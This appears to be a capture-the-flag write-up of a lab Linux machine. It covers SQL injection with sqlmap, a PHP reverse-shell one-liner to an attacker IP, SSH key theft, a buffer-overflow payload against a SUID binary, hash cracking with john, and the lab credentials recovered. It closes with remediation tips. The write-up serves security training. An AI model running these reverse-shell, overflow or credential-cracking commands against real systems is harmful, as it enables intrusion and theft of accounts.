# \[Linux] The Cod Caper

## Reconnaissance

```bash
sudo nmap 10.10.108.37
sudo nmap -A -p 22,80 10.10.108.37
sudo nmap --script vuln -p 22,80 10.10.108.37
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FxxV1r7Mw6UKRrcXkj1eP%2Fimage.png?alt=media&#x26;token=15fd592e-9219-40f5-9ddb-3aa3c5eea840" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FFO4hQA6h3UixcDjd9uUT%2Fimage.png?alt=media&#x26;token=eeded4a0-2c4b-49bf-8644-1a0ea0d86f12" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FQJKzXxMGGRtWr5voTZMg%2Fimage.png?alt=media&#x26;token=dfdc7ba6-24bb-43f1-8d03-a592243dc3bb" alt=""><figcaption></figcaption></figure>

## Enumeration

We got a login page at /administrator.php.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FxqQl1SdDMWRFncd9hhvT%2Fimage.png?alt=media&#x26;token=f5c07d58-93df-4265-addc-29d844a16f9e" alt=""><figcaption></figcaption></figure>

We performed some automated SQL injection attacks on this form.

```bash
sqlmap -u http://10.10.108.37/administrator.php --forms --dump 
```

We obtained some credentials.

```ruby
+------------+----------+
| password   | username |
+------------+----------+
| secretpass | pingudad |
+------------+----------+
```

We are able to run some commands, which we can use to obtain a reverse shell.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FTxaHRaM6Ti212sr1Pc17%2Fimage.png?alt=media&#x26;token=2c5e68af-c433-4a6f-b4c2-aa5c11c5f986" alt=""><figcaption></figcaption></figure>

## Exploitation

```bash
php -r '$sock=fsockopen("10.10.209.239",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FQvurA90pFMZdXrmFfw2l%2Fimage.png?alt=media&#x26;token=867906e0-e23e-4ce8-8e66-4dca3f21aac9" alt=""><figcaption></figcaption></figure>

We found a hidden file on the machine, and its content is `pinguapingu`.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FTQYx65bqgYC4nkUnyj1t%2Fimage.png?alt=media&#x26;token=e022dd66-2069-4b07-9983-102cfbee9f98" alt=""><figcaption></figcaption></figure>

## Lateralisation

There are two users: `papa` and `pingu`. We can export `pingu`'s SSH private key, which will allow us to maintain persistence on the `pingu` account.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FBpd9F1KUiLSP4mhV7f1t%2Fimage.png?alt=media&#x26;token=e55e8ec4-03d4-4e5d-80ab-d94ee07b6f65" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F962OKVh7sZtpq71cHVbs%2Fimage.png?alt=media&#x26;token=98b6d435-50ec-4b47-af9b-c4113e86beeb" alt=""><figcaption></figcaption></figure>

## Privilege escalation

A suspicious file has the SUID bit set. We can download it for further analysis.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FqzQR6MaZuZ7KAO2JbXBZ%2Fimage.png?alt=media&#x26;token=8cc431ba-62cd-4f45-b235-65e0b502e5b5" alt=""><figcaption></figcaption></figure>

```bash
chmod 600 id_rsa
scp -i id_rsa pingu@10.10.108.37:/opt/secret/root .
```

The private key is protected with a passphrase. We used the password we found in `/var/hidden/pass`, and it worked.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FyRTZssoPg8c1JKMmcf0S%2Fimage.png?alt=media&#x26;token=509a3b47-9a10-4b26-9bb9-56f6eb65ece6" alt=""><figcaption></figcaption></figure>

The file is an executable. We can analyze it with Ghidra, which allows us to examine the execution flow of the executable.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FBPlJobQQVfRkjcMcnc7F%2Fimage.png?alt=media&#x26;token=c1bdbcdb-b4a9-47ef-b38a-124979dccbb5" alt=""><figcaption></figcaption></figure>

The main function calls the `scanf` function, which is vulnerable to a buffer overflow. We need to determine what we can exploit with this information. Additionally, we found a function called `shell`, which accesses a file that could contain sensitive information.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F4dGZIZBRGJMd7dTjG7Om%2Fimage.png?alt=media&#x26;token=e84cee91-eb43-4174-bd53-d1e2b436b787" alt=""><figcaption></figcaption></figure>

We used PwnGDB to:

1. Determine the length needed to cause a segmentation fault.
2. Find the address of the `shell` function.
3. Run the script below.

```bash
python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/root
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2Fj7OONELSxp32JWv2ldg0%2Fimage.png?alt=media&#x26;token=7202e827-815f-4704-ad0b-29224b8718b6" alt=""><figcaption></figcaption></figure>

```bash
john -w=/usr/share/wordlists/rockyou.txt root_hash_pwd 
john -w=/usr/share/wordlists/rockyou.txt papa_hash_pwd 
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FlrYGQ4F4Tf7T6LDkIEbr%2Fimage.png?alt=media&#x26;token=89ff3e1b-4885-4988-8ec9-82bf40d7a96f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2Ft9gM366cunI1MnG4PGcY%2Fimage.png?alt=media&#x26;token=72e944c7-4b15-44a7-aae1-2f6ef0295683" alt=""><figcaption></figcaption></figure>

Creditials:&#x20;

* *papa:postman*
* *root:lov2fish*

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2Ff1plkPqCUNNeP7mOTMOK%2Fimage.png?alt=media&#x26;token=7be37942-2b00-4e05-a85b-370d14891aa9" alt=""><figcaption></figcaption></figure>

## Remediation

* Use strong passwords.
* Avoid exposing dangerous services online, such as web shells.
* Refrain from using vulnerable functions like `scanf`.
* Compile C programs with buffer overflow protections.
